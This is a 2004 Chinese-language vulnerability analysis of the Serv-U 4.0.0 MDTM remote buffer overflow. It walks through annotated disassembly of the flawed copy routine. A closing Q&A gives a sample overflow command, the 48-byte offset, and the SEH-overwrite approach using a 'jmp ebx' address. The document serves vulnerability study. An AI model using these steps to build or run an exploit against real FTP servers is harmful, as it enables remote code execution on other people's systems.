首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>漏洞检测>文章内容
Serv-U MDTM命令远程溢出分析
来源:vfocus.net 作者:czy 发布时间:2004-03-05  

Serv-U "MDTM"命令远程溢出分析
czy 于 04.02.29
2月27号一早在securityfocus看到了这个漏洞的公告,上面清楚的说明了You must have a
valid user account and password to exploit it, and you are not need WRITE or any other privilege.
这不是比上次Serv-U那个site chmod的洞洞还利害,一想到不少电影网站都是用的Serv-U....
好不在这儿废话了以下分析基于Serv-U Server 4.0.0版,只分析"MDTM"命令溢出的情况。
事实上,Serv-U在处理MDTM命令时,很多地方都有长度判断,但是,有一个地方他遗漏了,那么,我们的机会就来了:-)

漏洞函数引用关系如下:

loc_434748 [0]
|
call loc_41FAE8 [1]
|
|__call sub_59BFB8(strncpy)
|__call sub_4422A4
|
|__ jmp sub_41FBB6 [2]
|
|__call sub_59BEB1
|__call sub_59BDA4(strlen)
|__call sub_59BFB8(strncpy)\__分别调用了六次,用来把年月日时分秒放到变量中
|__call sub_5A4008 /
...........
|__loc_41FD99[3]
|__loc_41FDC3(strcpy) [4] 洞洞出来啦,覆盖程序自身异常处理函数地址
|__loc_41FE16
|__loc_41FE30 [5]
|
|__call sub_59BDA4(strlen)
|__call sub_59BC1C(strncpy) 触发程序异常处理


[0]判断是否是"MDTM"命令

loc_434748: ; CODE XREF: .text:0043473A
.text:00434748 push 4 //比较四个字节
.text:0043474A push edi //edi存放命令字串的首地址
.text:0043474B lea eax, [esi+354h]
.text:00434751 push eax // 得到命令列表
.text:00434752 call near ptr unk_59C008 // 相当于Strncmp
.text:00434757 add esp, 0Ch
.text:0043475A test eax, eax
.text:0043475C jnz short loc_43476D //不是MDTM的话比较下一个命令SITE
.text:0043475E push edi //第二个参数是命令字串的首地址
.text:0043475F push ebx
.text:00434760 call loc_41FAE8 //相同的话跳到MDTM命令处理函数
.text:00434765 add esp, 8
.text:00434768 jmp loc_434AC7


[1] 具体处理MDTM命令函数

.text:0041FAE8 sub_41FAE8 proc near ; CODE XREF: sub_434244+51Cp
.text:0041FAE8 push ebp
.text:0041FAE9 mov ebp, esp
.text:0041FAEB add esp, 0FFFFF004h //为本地变量分配空间
.text:0041FAF1 push eax
.text:0041FAF2 add esp, 0FFFFFC74h //为本地变量分配空间
.text:0041FAF8 mov eax, offset unk_59C243 //重要程序自已的异常处理函数入口
.text:0041FAFD xor edx, edx
.text:0041FAFF push ebx
.text:0041FB00 push esi
.text:0041FB01 push edi
.text:0041FB02 mov ebx, [ebp+8] //处理第一个参数
.text:0041FB05 mov dword ptr [ebp-4Ch], offset unk_5B8520
.text:0041FB0C mov [ebp-48h], esp

.text:0041FB0F mov [ebp-50h], eax //重要建立ERR结构的第二个成员
//也就是程序自已的异常处理函数入口
.text:0041FB12 mov word ptr [ebp-44h], 0
.text:0041FB18 mov [ebp-38h], edx

.text:0041FB1B mov ecx, large fs:0 //重要得到上一个ERR结构地址
.text:0041FB22 mov [ebp-54h], ecx //建立ERR结构的第一个成员
.text:0041FB25 lea eax, [ebp-54h] //得到当前ERR结构的地址(017AD280)
.text:0041FB28 mov large fs:0, eax //放到fs:[0]中,这样如果这段代码
//出错的话就会执行ebp-50里的的函数
.text:0041FB2E mov byte ptr [ebp-55h], 0
.text:0041FB32 mov byte ptr [ebp-56h], 0
/////////////////////////////////////////////////////
程序正常的栈情况如下:
ebp-56 017AD27E 00
ebp-55 017AD27F 00
epb-54 017AD280 40
ebp-53 017AD281 E2
ebp-52 017AD282 7A
ebp-51 017AD283 01 017AE240的值指向上一个ERR结构
ebp-50 017AD284 43
ebp-4F 017AD285 C2
ebp-4E 017AD286 59
ebp-4D 017AD287 00 0059C243是程序自已的异常处理函数入口

////////////////////////////////////////////////////
.text:0041FB36 xor edx, edx
.text:0041FB38 mov [ebp-74h], edx
.text:0041FB3B mov [ebp-70h], edx
.text:0041FB3E mov [ebp-6Ch], edx
.text:0041FB41 mov [ebp-68h], edx
.text:0041FB44 mov [ebp-64h], edx
.text:0041FB47 mov [ebp-60h], edx
.text:0041FB4A mov [ebp-5Ch], edx //本地变量给初值0
.text:0041FB4D push 7FFh
.text:0041FB52 mov eax, [ebp+0Ch] //处理第二个参数也就是命令字串的地址
.text:0041FB55 add eax, 4 //去除命令字串开头的MDTM
.text:0041FB58 push eax
.text:0041FB59 lea ecx, [ebp-9FCh]
.text:0041FB5F push ecx
.text:0041FB60 call sub_59BFB8 //相当于strncpy把命令拷到本地变量ebp-9fch中
//长度不超过2KB
.text:0041FB65 add esp, 0Ch
.text:0041FB68 lea eax, [ebp-9FCh]
.text:0041FB6E mov byte ptr [ebp-1FDh], 0
.text:0041FB75 push eax
.text:0041FB76 call sub_4422A4 //对字串进行再一步处理去除MDTM与
//命令中间的那个空格,命令后面的回车
//还要判断命令是否为空
.text:0041FB7B cmp byte ptr [ebp-9FCh], 0
.text:0041FB82 pop ecx
.text:0041FB83 jnz short loc_41FBB6 //合法的话跳

[2] 对时间区域进行处理检测

.text:0041FBB6 loc_41FBB6: ; CODE XREF: sub_41FAE8+9Bj
.text:0041FBB6 push 20h
.text:0041FBB8 lea edx, [ebp+var_9FC] //ebp-9fc中存放全部命令
.text:0041FBBE push edx
.text:0041FBBF call sub_59BEB1 //找命令中的空格找到后把空格后
//的地址放在ebp-78中,也就是找文件名
.text:0041FBC4 add esp, 8
.text:0041FBC7 mov [ebp+var_78], eax
.text:0041FBCA test eax, eax
.text:0041FBCC jz loc_41FE6D //没有找到文件名跳,跳过去将处理
//mdtm autoexec.bat这类看文件时间的命令
.text:0041FBD2 lea edx, [ebp+var_9FC]
.text:0041FBD8 push edx
.text:0041FBD9 call sub_59BDA4 //得到命令长度
.text:0041FBDE pop ecx
.text:0041FBDF cmp eax, 10h //命令长度小于16跳
.text:0041FBE2 jb loc_41FE6D
.text:0041FBE8 lea ecx, [ebp+var_9FC]
.text:0041FBEE mov eax, [ebp+var_78]
.text:0041FBF1 sub eax, ecx //得时间区域长度不要紧张这儿没洞洞
.text:0041FBF3 cmp eax, 0Eh
.text:0041FBF6 jl loc_41FE6D //必须是大于等于14字节
.text:0041FBFC mov [ebp+var_88], 1
.text:0041FC06 xor edi, edi
.text:0041FC08 lea esi, [ebp+var_9FC]
.text:0041FC0E
.text:0041FC0E loc_41FC0E: ; CODE XREF: sub_41FAE8+141j
.text:0041FC0E movsx eax, byte ptr [esi]
.text:0041FC11 push eax
.text:0041FC12 call sub_5A1304
.text:0041FC17 pop ecx
.text:0041FC18 test eax, eax
.text:0041FC1A jnz short loc_41FC24
.text:0041FC1C xor edx, edx
.text:0041FC1E mov [ebp+var_88], edx
.text:0041FC24
.text:0041FC24 loc_41FC24: ; CODE XREF: sub_41FAE8+132j
.text:0041FC24 inc edi
.text:0041FC25 inc esi
.text:0041FC26 cmp edi, 0Eh
.text:0041FC29 jl short loc_41FC0E
.text:0041FC2B cmp [ebp+var_88], 0
.text:0041FC32 jz loc_41FD99 //判断时间区域的前14个字母
//如果不是数字跳到41fd99


//-----------------------
.text:0041FC38 push 4
.text:0041FC3A lea ecx, [ebp+var_9FC]
.text:0041FC40 push ecx
.text:0041FC41 lea eax, [ebp+var_84]
.text:0041FC47 push eax
.text:0041FC48 call sub_59BFB8
.text:0041FC4D add esp, 0Ch
.text:0041FC50 lea edx, [ebp+var_84]
.text:0041FC56 mov [ebp+var_80], 0
.text:0041FC5A push edx
.text:0041FC5B call sub_5A4008
.text:0041FC60 pop ecx
.text:0041FC61 mov [ebp+var_5C], eax

.text:0041FC64 push 2
.text:0041FC66 lea ecx, [ebp+var_9F8]
.text:0041FC6C push ecx
.text:0041FC6D lea eax, [ebp+var_84]
.text:0041FC73 push eax
.text:0041FC74 call sub_59BFB8
.text:0041FC79 add esp, 0Ch
.text:0041FC7C lea edx, [ebp+var_84]
.text:0041FC82 mov [ebp+var_82], 0
.text:0041FC89 push edx
.text:0041FC8A call sub_5A4008
.text:0041FC8F pop ecx
.text:0041FC90 mov [ebp+var_60], eax

.text:0041FC93 push 2
.text:0041FC95 lea ecx, [ebp+var_9F6]
.text:0041FC9B push ecx
.text:0041FC9C lea eax, [ebp+var_84]
.text:0041FCA2 push eax
.text:0041FCA3 call sub_59BFB8
.text:0041FCA8 add esp, 0Ch
.text:0041FCAB lea edx, [ebp+var_84]
.text:0041FCB1 mov [ebp+var_82], 0
.text:0041FCB8 push edx
.text:0041FCB9 call sub_5A4008
.text:0041FCBE pop ecx
.text:0041FCBF mov [ebp+var_64], eax

.text:0041FCC2 push 2
.text:0041FCC4 lea ecx, [ebp+var_9F4]
.text:0041FCCA push ecx
.text:0041FCCB lea eax, [ebp+var_84]
.text:0041FCD1 push eax
.text:0041FCD2 call sub_59BFB8
.text:0041FCD7 add esp, 0Ch
.text:0041FCDA lea edx, [ebp+var_84]
.text:0041FCE0 mov [ebp+var_82], 0
.text:0041FCE7 push edx
.text:0041FCE8 call sub_5A4008
.text:0041FCED pop ecx
.text:0041FCEE mov [ebp+var_68], eax

.text:0041FCF1 push 2
.text:0041FCF3 lea ecx, [ebp+var_9F2]
.text:0041FCF9 push ecx
.text:0041FCFA lea eax, [ebp+var_84]
.text:0041FD00 push eax
.text:0041FD01 call sub_59BFB8
.text:0041FD06 add esp, 0Ch
.text:0041FD09 lea edx, [ebp+var_84]
.text:0041FD0F mov [ebp+var_82], 0
.text:0041FD16 push edx
.text:0041FD17 call sub_5A4008
.text:0041FD1C pop ecx
.text:0041FD1D mov [ebp+var_6C], eax

.text:0041FD20 push 2
.text:0041FD22 lea ecx, [ebp+var_9F0] //得到命令中秒存放的位置
.text:0041FD28 push ecx
.text:0041FD29 lea eax, [ebp+var_84] //变量地址
.text:0041FD2F push eax
.text:0041FD30 call sub_59BFB8
.text:0041FD35 add esp, 0Ch
.text:0041FD38 lea edx, [ebp+var_84]
.text:0041FD3E mov [ebp+var_82], 0
.text:0041FD45 push edx
.text:0041FD46 call sub_5A4008 //格式转化
.text:0041FD4B pop ecx
.text:0041FD4C mov [ebp+var_70], eax
//---------------上面的代码把年月日时分秒放到变量中
//具体如下:
年 ebp-5c
月 ebp-60
日 ebp-64
时 ebp-68
分 ebp-6c
秒 ebp-70
//对时间的正确性进行检验
.text:0041FD4F cmp [ebp+var_5C], 7BCh
.text:0041FD56 jl short loc_41FD91 //年小于1980跳
.text:0041FD58 cmp dword ptr [ebp-5Ch], 81Bh
.text:0041FD5F jg short loc_41FD91 //年大于2075跳
.text:0041FD61 cmp dword ptr [ebp-60h], 1
.text:0041FD65 jl short loc_41FD91
.text:0041FD67 cmp dword ptr [ebp-60h], 0Ch
.text:0041FD6B jg short loc_41FD91 //月分只能是1-12
.text:0041FD6D cmp dword ptr [ebp-64h], 1
.text:0041FD71 jl short loc_41FD91
.text:0041FD73 cmp dword ptr [ebp-64h], 1Fh
.text:0041FD77 jg short loc_41FD91 //号数只能是1-31
.text:0041FD79 cmp dword ptr [ebp-6Ch], 0
.text:0041FD7D jl short loc_41FD91
.text:0041FD7F cmp dword ptr [ebp-6Ch], 3Bh
.text:0041FD83 jg short loc_41FD91
.text:0041FD85 cmp dword ptr [ebp-70h], 0
.text:0041FD89 jl short loc_41FD91
.text:0041FD8B cmp dword ptr [ebp-70h], 3Bh //分秒只能是0-59
.text:0041FD8F jle short loc_41FD99 //时间都合法了跳到41FD99

[3] 判断时间区域后面是否有+-号

.text:0041FD99
.text:0041FD99 loc_41FD99: ; CODE XREF: sub_41FAE8+14Aj
.text:0041FD99 ; sub_41FAE8+2A7j
.text:0041FD99 cmp [ebp+var_88], 0
.text:0041FDA0 jz loc_41FE30 //对于mdtm 20020201112233+111 autexec.bat这样的命令不跳
.text:0041FDA6 movsx eax, [ebp+var_9EE] //处理时间区域后的一个字串
.text:0041FDAD cmp eax, 20h
.text:0041FDB0 jz short loc_41FE1C //为空格跳
.text:0041FDB2 movsx eax, [ebp+var_9EE]
.text:0041FDB9 cmp eax, 2Dh
.text:0041FDBC jz short loc_41FDC3 //为减号跳!
.text:0041FDBE cmp eax, 2Bh
.text:0041FDC1 jnz short loc_41FE1C //不为加号跳到41FE1C!


[4] 对时间区域有+-号的情况进行处理

.text:0041FDC3 loc_41FDC3:
.text:0041FDC3 xor edi, edi
.text:0041FDC5 lea eax, [ebp+var_84] //得到时间区域的最后两位(ebp-84)
.text:0041FDCB lea esi, [ebp+var_9EE] //得到+号开始的地址
.text:0041FDD1 jmp short loc_41FDDA
.text:0041FDD3 loc_41FDD3:
.text:0041FDD3 mov dl, [esi]
.text:0041FDD5 inc edi //edi为记数器
.text:0041FDD6 mov [eax], dl
.text:0041FDD8 inc eax
.text:0041FDD9 inc esi
.text:0041FDDA
.text:0041FDDA loc_41FDDA:
.text:0041FDDA movsx ecx, byte ptr [esi]
.text:0041FDDD cmp ecx, 20h
.text:0041FDE0 jnz short loc_41FDD3 //遇到空格退出

//----------------------上面就是漏洞代码程序本意是把时间区域加号后面的四个字节放在ebp-84变量中
//但没有对长度进行检查,所以不但会覆盖ebp-84,如果是一个超长字串的话还会把ebp-54,ebp-78等变理覆盖!


.text:0041FDE2 mov [ebp+edi+var_84], 0 //edi为考贝的字串长度,这儿是为拷过去的字中设置结尾符
.text:0041FDEA lea eax, [ebp+var_84]
.text:0041FDF0 push eax
.text:0041FDF1 call sub_5A4008
.text:0041FDF6 pop ecx
.text:0041FDF7 mov [ebp+var_74], eax
.text:0041FDFA cmp [ebp+var_74], 0FFFFFC18h //比较+号后面的时间是否小于-1000
.text:0041FE01 jl short loc_41FE0C
.text:0041FE03 cmp [ebp+var_74], 3E8h
.text:0041FE0A jle short loc_41FE16 //是否大于等于+1000
.text:0041FE0C
.text:0041FE0C loc_41FE0C:
.text:0041FE0C xor eax, eax
.text:0041FE0E mov [ebp+var_88], eax
.text:0041FE14 jmp short loc_41FE30

.text:0041FE16 loc_41FE16:
.text:0041FE16 mov [ebp+var_56], 1 //设置ebp-56为1
.text:0041FE1A jmp short loc_41FE30
.text:0041FE1C loc_41FE1C:
.text:0041FE1C
.text:0041FE1C movsx edx, [ebp+var_9EE]
.text:0041FE23 cmp edx, 20h
.text:0041FE26 jz short loc_41FE30
.text:0041FE28 xor ecx, ecx
.text:0041FE2A mov [ebp+var_88], ecx

[5] 拷贝要更改时间的文件名到一个变量中
.text:0041FE30 loc_41FE30:
.text:0041FE30
.text:0041FE30 cmp [ebp+var_88], 0 //设置的时间小于-1000时ebp-88为0跳
.text:0041FE37 jz short loc_41FE6D
.text:0041FE39 mov [ebp+var_55], 1
.text:0041FE3D lea eax, [ebp+var_9FC] //得到+号后的命令长度
.text:0041FE43 push eax
.text:0041FE44 call sub_59BDA4
.text:0041FE49 pop ecx
.text:0041FE4A inc eax
.text:0041FE4B push eax //拷贝的个数
.text:0041FE4C mov edx, [ebp+var_78] //ebp-78为源地址存放文件名
.text:0041FE4F inc edx
.text:0041FE50 push edx
.text:0041FE51 lea ecx, [ebp+var_9FC] //本来存放命令字串,现在是拷贝的目的地址
.text:0041FE57 push ecx
.text:0041FE58 call sub_59BC1C
.text:0041FE5D add esp, 0Ch
.text:0041FE60 lea eax, [ebp+var_9FC]
.text:0041FE66 push eax
.text:0041FE67 call sub_4422A4
.text:0041FE6C pop ecx

Q&A:
[1]为什么执行到loc_41FE30处会产生程序异常呢?
因为ebp-78这个变量的值本来是要改变文件时间的文件名的地址,但是由于在loc_41FDC3处
对变量ebp-84的操作中会覆盖它的值,如果我们输入命令
quote mdtm 20020102112233+aaaaaaaaaaaaaaaaaaaaaaaaaa /autoexec.bat
那么这时ebp-78的值就成了61616161,而这个地址是不能仿问的,当然就产生异常了.

[2]产生异常后我们怎么执行代码呢?
在分析刚开始的时候我们已经知道程序正常的异常处理程序入口在ebp-50中,那么我们只能把
系统中有jmp ebx的代码的地址放到ebp-50中就可以了.然后ebp-54中放入nop nop jmp 6(9090EB04)

[3]要发送多少个A才能刚好覆盖ebp-50,ebp-54呢?
84h-54h=30h=48d

[4]我还不知道怎么利用SEH执行SHELLCODE怎么办?
利用SEH执行shellcode
http://www.nsfocus.net/index.php?act=magazine&do=view&mid=1964


感谢:scz,T0Mbkeeper,eyas等等...太多啦...
工具:IDA SOFTICE WDASM32 trw



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·MS07-014调试手记
·udp_sendmsg空指针漏洞分析
·一段对perl 木马的分析
·小心我“DIR”溢出你!
·CVE-2010-4258漏洞分析
·Adobe Reader 'CoolType.dll' TT
·PHPBB<+2.0.10 漏洞说明
·袁哥写的漏洞研究方法总结
·利用异常处理执行shellcode实例
·注入点检测新方法
·Apache mod_ssl buffer over分析
·RPC漏洞的通用分析方法
  相关文章
·分析server-u site chmod 漏洞
·袁哥写的漏洞研究方法总结
·高级WIN2K ROOTKIT检测技术
·分析ms locator vul
·Microsoft WordPerfect转换器远
·Win2k LDT漏洞初探
·对.idq/.ida溢出攻击的分析
·Acrobat Reader5.1漏洞分析
·Win2000 Server入侵监测
·windows溢出随笔
·AIX捉虫记之invscoutd
·Apache mod_ssl buffer over分析
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved